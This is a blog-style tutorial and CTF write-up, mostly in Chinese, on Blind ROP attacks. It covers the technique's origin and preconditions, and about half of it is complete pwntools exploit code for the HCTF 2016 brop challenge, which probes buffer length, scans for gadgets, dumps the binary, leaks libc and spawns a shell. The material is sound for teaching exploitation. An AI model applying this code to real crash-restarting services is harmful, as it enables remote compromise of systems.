Frankly speaking, I had heard little about this before Friday, and it's an interesting misunderstanding that the CTF forgot to provide the ELF file. While surfing the web, I found BROP pretty interesting and wanted to share it with you.
定义
BROP,顾名思义,就是在不知道目标程序的具体源代码或二进制信息(例如未获取 ELF 文件)的情况下进行盲 ROP 攻击。相比传统的 ROP 攻击,BROP 攻击的一个关键特征是,攻击者对目标程序的运行细节几乎一无所知。换句话说,攻击者既没有源代码,也没有二进制可供分析。因此,BROP 的攻击方式是“盲”的,需要攻击者通过试探和观察目标程序的崩溃与重启行为,来一步步推断程序的结构,并最终构造出一个完整的 ROP 利用链。
传统的 ROP 攻击一般是基于已知的二进制文件或源代码,通过分析程序来提取所谓的“gadgets”,并将这些 gadgets 组合成恶意利用链,以操控程序的执行流程。BROP 则完全不同,它应用于远程服务或专有程序的二进制文件,攻击者无法直接获取这些文件进行分析,因此只能依靠盲目的试探和对程序崩溃信息的反复观察,来逐步推测出程序的内部运行机制。
这意味着攻击者通过不断尝试和利用程序的崩溃信息来推断程序的行为,逐步构建出可利用的 ROP 链。与传统 ROP 不同的是,BROP 通常应用在远程服务的二进制程序上,攻击者无法直接分析二进制文件。BROP 攻击的过程与模糊测试(Fuzzing)有类似的概念,攻击者通过对目标程序发送不同的输入,不断观察其响应或崩溃情况,推测程序结构并构造出可利用的漏洞。攻击者通过发送不同的输入,观察目标程序的响应或崩溃状态,以此推断出程序的结构与漏洞。具体而言,当攻击者利用某些输入导致服务崩溃时,他们可以观察程序是否重启,并通过记录崩溃前后的状态变化来提取有用的利用信息。
提到这个就不得不提到BROP的起源,这个想法最早出现在论文oakland14-brop.pdf (uwaterloo.ca)中,提供的PPT是bittau-brop-slides.pdf (stanford.edu)。在这篇论文中,研究人员展示了如何通过 BROP 攻击远程服务,最终获得对目标系统的完全控制。通过这项技术,攻击者可以在不获取目标二进制文件的情况下进行利用,尤其适用于攻击那些专有软件或未公开二进制文件的系统,如一些通过源代码编译安装的开源软件版本(例如在 Gentoo 系统上运行的程序)。在论文中,还测试了 nginx 和 MySQL 等常见服务,证明 BROP 攻击在真实世界的应用中是可行的。更重要的是,BROP 攻击在数千个请求内便可完成,速度非常快。
光这么看不够震撼,但是ROP最早出现在2007年1315245.1315313 (acm.org),很难相信这么短的时间就想到如此巧思。
利用条件
源程序必须存在栈溢出漏洞,以便于攻击者可以控制程序流程 服务器端的进程在崩溃之后会重新启动,并且重新启动的进程的地址与先前的地址一样(这也就是说即使程序有 ASLR 保护,但是其只是在程序最初启动的时候有效果) 目前 nginx、MySQL、Apache、OpenSSH 等服务器应用都符合这种特性
攻击思路
-
通过“堆栈读取”破坏 ASLR,如有必要可以通过栈溢出来泄露 canaries、rbp 和返回地址。
-
找到一个“stop gadget”,它可以停止 ROP 链,以便找到其他 gadgets,一般是需要找到返回到main函数的gadgets。
-
找到 BROP gadget,允许你控制函数调用的前一个参数或两个参数,也就是找到
pop rdi ; ret
或pop rdi ; pop rsi ; ret
的地址,更常见和好用的是找ret2csu gadget,因为找到按这个相当于能够操纵很多寄存器的值。
-
构建攻击。
- 原始论文的思路:找到对
strcmp
的调用,作为副作用,它会将函数的第三个参数(例如write
的长度)设置为大于 0 的值。找到对write
的调用。将二进制文件从内存写入 socket。从下载的二进制文件中转储符号表,找到dup2
和execve
的调用,构建 shellcode。 - 网上思路:寻找 puts 或 write 函数的 plt,用于 leak 其它地址的值。dump plt 表,用于 leak 所需函数的 got 地址。通过 leak 到的 got 地址,找到对应 libc 版本,通过 libc 执行系统命令进行 getshell。
- 原始论文的思路:找到对
论文提供的工具:
- 一个完全自动化的工具,在提供了由于堆栈溢出导致服务器崩溃的输入字符串后,它可以执行从崩溃到远程 shell 的 BROP 攻击。
- 针对 nginx 1.4.0 的通用 64 位 BROP 利用,经过优化以适应 nginx 的情况。该工具还包括一个 IP 分片路由器,使得攻击可以在广域网上实现。nginx 在 4096 字节缓冲区上执行非阻塞读取,而典型的 MTU 是 1500,因此需要进行 IP 分片以传输一个超过 4096 字节的 TCP 段。(后续有时间会复刻一下)
- 这是一位论文作者的同事编写的用于测试的,攻击一些专有服务,用于研究在不了解二进制文件或源代码的情况下的黑客攻击。
- 根据工具作者描述这个工具应该完爆上面的工具,但毕竟过了这么久,有更好的工具也比较正常。BROPPER 是一个自动化的 Blind ROP (BROP) 利用工具,旨在通过盲目返回导向编程攻击远程服务,特别适用于那些启用了 ASLR 和 PIE 但在崩溃后不会重新随机化地址的服务器程序,如 nginx、Apache 和 MySQL。
- 这个我去用了一下确实蛮好用的,用来解经典题目也是十分方便,而且有个还算醋的界面,推荐。
超热门题目:zh-explorer/hctf2016-brop (github.com)
dump plt脚本。
from pwn import *
from LibcSearcher import LibcSearcher
from pwn import p64
import time
from brop_func import GetBufLength,GetStopAddr,GetBropGadgets,leak,create_elf,GetPutsPlt,check
start_time = time.time()
buf_length = GetBufLength()
print("buffer length:",buf_length,"Time:",time.time()-start_time)
stop_gadgets = GetStopAddr(buf_length)
print("Stop gadget Address:",stop_gadgets,"Time:",time.time()-start_time)
address = stop_gadgets-0xd0
brop_gadgets = GetBropGadgets(buf_length,stop_gadgets,address)
print("Brop gadget Address:",brop_gadgets,"Time:",time.time()-start_time)
if check(buf_length,brop_gadgets)==True:
print("Brop gadget check success!","Time:",time.time()-start_time)
else:
exit()
pop_rdi_ret = brop_gadgets + 9
puts_plt = GetPutsPlt(buf_length,pop_rdi_ret,stop_gadgets)
print("Puts plt Address:",puts_plt,"Time:",time.time()-start_time)
result = create_elf(buf_length,pop_rdi_ret,puts_plt,stop_gadgets)
print("Create ELF success!","Time:",time.time()-start_time)
with open('/home/ben/Desktop/attack_world/tmp/brop_code','wb') as f:
f.write(result)
print("Whole time:",time.time()-start_time)
函数实现
from pwn import *
from LibcSearcher import LibcSearcher
from pwn import p64
def GetBufLength(elf='/home/ben/Desktop/attack_world/brop'):
i = 1
while 1:
try:
sh = process(elf)
sh.recvuntil(b'Do you know password?\n')
payload = b'a' * i
sh.send(payload)
output = sh.recv()
if not output.startswith(b'No password'):
return i - 1
else:
i += 1
except EOFError:
sh.close()
return i - 1
def GetRemoteBufLength(ip:string,port:int):
i = 1
while 1:
print(i)
try:
sh = remote(ip,port)
sh.recvuntil(b'address')
payload = b'a' * i
sh.send(payload)
i += 1
time.sleep(0.1)
sh.close()
except EOFError:
sh.close()
return i - 1
def GetStopAddr(buf_length):
address = 0x400000
while 1:
try:
sh = process('/home/ben/Desktop/attack_world/brop')
sh.recvuntil(b'Do you know password?\n')
payload = b'a'*buf_length + p64(address)
sh.send(payload)
output = sh.recv()
if not output.startswith(b'WelCome my friend'):
sh.close()
# address += 1
address += 2
else:
return address
except EOFError:
address += 2
sh.close()
def GetBropGadgets(buf_length, stop_gadgets, address):
try:
sh = process('/home/ben/Desktop/attack_world/brop')
sh.recvuntil(b'Do you know password?\n')
payload = b'a'*buf_length + p64(address) + p64(0)*6 + p64(stop_gadgets)
sh.sendline(payload)
output = sh.recv(timeout=1)
sh.close()
if not output.startswith(b'WelCome my friend'):
return False
return True
except Exception:
sh.close()
return False
def check(buf_length, address):
try:
sh = process('/home/ben/Desktop/attack_world/brop')
sh.recvuntil(b'Do you know password?\n')
payload = b'a'*buf_length + p64(address) + p64(0)*7
sh.sendline(payload)
output = sh.recv(timeout=1)
sh.close()
return False
except Exception:
sh.close()
return True
def GetPutsPlt(buf_length,pop_rdi_ret,stop_gadgets):
addr = 0x400500
while 1:
try:
sh = process('/home/ben/Desktop/attack_world/brop')
sh.recvuntil(b'Do you know password?\n')
payload = b'a'*buf_length + p64(pop_rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadgets)
sh.sendline(payload)
output = sh.recv()
sh.close()
if output.startswith('\x7fELF'):
return addr
addr += 1
except Exception:
sh.close()
addr += 1
def GetWritePlt(buf_length,pop_rdi_rsi_rdx_ret,stop_gadgets):
addr = 0x400500
while 1:
try:
sh = process('/home/ben/Desktop/attack_world/brop')
sh.recvuntil(b'Do you know password?\n')
payload = b'a'*buf_length + p64(pop_rdi_rsi_rdx_ret) + p64(1) +p64(0x400000) + p64(0x8) + p64(addr) + p64(stop_gadgets)
sh.sendline(payload)
output = sh.recv()
sh.close()
if output.startswith('\x7fELF'):
return addr
addr += 1
except Exception:
sh.close()
addr += 1
def leak(buf_length, pop_rdi_ret, leak_addr, puts_plt, stop_gadgets):
sh = process('/home/ben/Desktop/attack_world/brop')
sh.recvuntil(b'Do you know password?\n')
payload = b'a'*buf_length + p64(pop_rdi_ret) + p64(leak_addr) + p64(puts_plt) + p64(stop_gadgets)
sh.send(payload)
try:
data = sh.recvuntil(b'\nWelCome my friend', drop=True)
sh.close()
if data == b"":
data = b'\x00'
sh.close()
return data
except:
sh.close()
return None
def create_elf(buf_length,pop_rdi_ret,puts_plt,stop_gadgets):
result=b""
leak_addr=0x400000
while leak_addr < 0x401000:
data = leak(buf_length, pop_rdi_ret, leak_addr, puts_plt, stop_gadgets)
if data is None:
continue
else:
result += data
leak_addr += len(data)
return result
getshell
from pwn import *
from LibcSearcher import LibcSearcher
from pwn import p64,u64
sh = process('/home/ben/Desktop/attack_world/brop')
buf_length = 72
stop_gadgets = 0x4005d0
brop_gadgets = 0x4007ba
pop_rdi_ret = 0x4007c3
puts_plt = 0x400565
puts_got = 0x601018
payload = b'a' * buf_length+p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt)+p64(stop_gadgets)
sh.sendlineafter(b'Do you know password?\n',payload)
puts_addr = u64(sh.recvuntil(b'\nWelCome my friend', drop=True).ljust(8, b'\x00'))
libc=ELF("/home/ben/Desktop/glibc/glibc_all_in_one/libs/2.23-0ubuntu3_amd64/libc.so.6")
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
bin_sh_addr = libc_base + 0x18c58b
payload = b'a' * buf_length+p64(pop_rdi_ret) + p64(bin_sh_addr) + p64(system_addr) + p64(stop_gadgets)
sh.sendlineafter(b'Do you know password?\n',payload)
sh.interactive()
效果图